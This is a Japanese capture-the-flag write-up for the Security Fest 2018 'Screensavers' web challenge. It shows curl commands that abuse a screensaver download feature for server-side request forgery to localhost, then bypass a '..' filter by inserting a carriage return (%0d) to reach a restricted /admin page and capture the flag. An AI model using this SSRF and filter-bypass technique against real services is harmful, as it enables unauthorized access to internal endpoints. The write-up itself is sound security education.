Security Fest CTF 2018 - Screensavers
問題文
In the distance future, somehow having cool screensavers is still a thing. Can you hack their screensaver generator?
http://screensavers.alieni.se:2999/
writeup
まずは下調べ。
robots.txt
を見ると、/admin
があるようだ。
root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/robots.txt" User-agent: * Disallow: /admin
/admin
にアクセスしてみる。
root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/admin" Found. Redirecting to /
なお後述のユーザ名とパスワードを登録しログインしてから/admin
にアクセスするとこうなる。
いずれにしても見れない。
root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/admin" -H "Cookie: connect.sid=s%3A1fs7JNB_j-4Nw4-ZtNsnwDcu1ptFB2aB.D09USWFmRtLL%2BOdanR1Qk8c16pWwoJW%2F0b1KauvAp70" Unauthorized IP: ::ffff:118.241.203.17
さて、ユーザ名とパスワードを登録してログインすると、LOGOUT、PREVIEW、DOWNLOADのボタン。
PREVIEWボタンを押下すると、 自ユーザ名の文字列を使ったマトリックス調の画像が表示される。
DOWNLOADボタンを押下すると、 同じく、マトリックス調の画像が、
サムネイル画像として表示され、合わせてダウンロードリンクが表示される。
その時の通信をFiddlerで解析すると、DOWNLOADボタンを押下したときに、
以下のPOSTデータを投げている。
download=download&url=http%3A%2F%2Flocalhost%3A2999%2Fuser%2F%3Fusername%3Dvvvvv%26preview%3Dpreview
ドメイン部分は違うが、PREVIEWボタンを押下したときのURLである。
なるほど、DOWNLOADボタンを押下すると、
サーバ内でPREVIEWボタンを押下したときのURLを呼び出して画像を生成しているようだ。
試しに、curlでusernameを12345に改変して投げてみる。
root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/download" -H "Cookie: connect.sid=s%3A1fs7JNB_j-4Nw4-ZtNsnwDcu1ptFB2aB.D09USWFmRtLL%2BOdanR1Qk8c16pWwoJW%2F0b1KauvAp70" -d "download=download" --data-urlencode "url=http://localhost:2999/user/?username=12345&preview=preview" <meta http-equiv='refresh' content='1;URL=/user/'>Redirecting...
この後、トップ画面を表示すると、12345のマトリックス調のサムネイル画像が表示された。
以上より、SSRFを使って/admin
の画像を作ってもらえばよさそうだ。
root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/download" -H "Cookie: connect.sid=s%3A1fs7JNB_j-4Nw4-ZtNsnwDcu1ptFB2aB.D09USWFmRtLL%2BOdanR1Qk8c16pWwoJW%2F0b1KauvAp70" -d "download=download" -d "url=http://localhost:2999/user/../admin" hacking attempt
うーん、..のフィルタがあるようだ。
しばらく試行錯誤した結果、.と.の間に改行コードをいれたら回避できた。
root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/download" -H "Cookie: connect.sid=s%3A1fs7JNB_j-4Nw4-ZtNsnwDcu1ptFB2aB.D09USWFmRtLL%2BOdanR1Qk8c16pWwoJW%2F0b1KauvAp70" -d "download=download" -d "url=http://localhost:2999/user/.%0d./admin" <meta http-equiv='refresh' content='1;URL=/user/'>Redirecting...
フラグゲット 。
SCTF{y00_kn0w_KuNg_Fu!!!}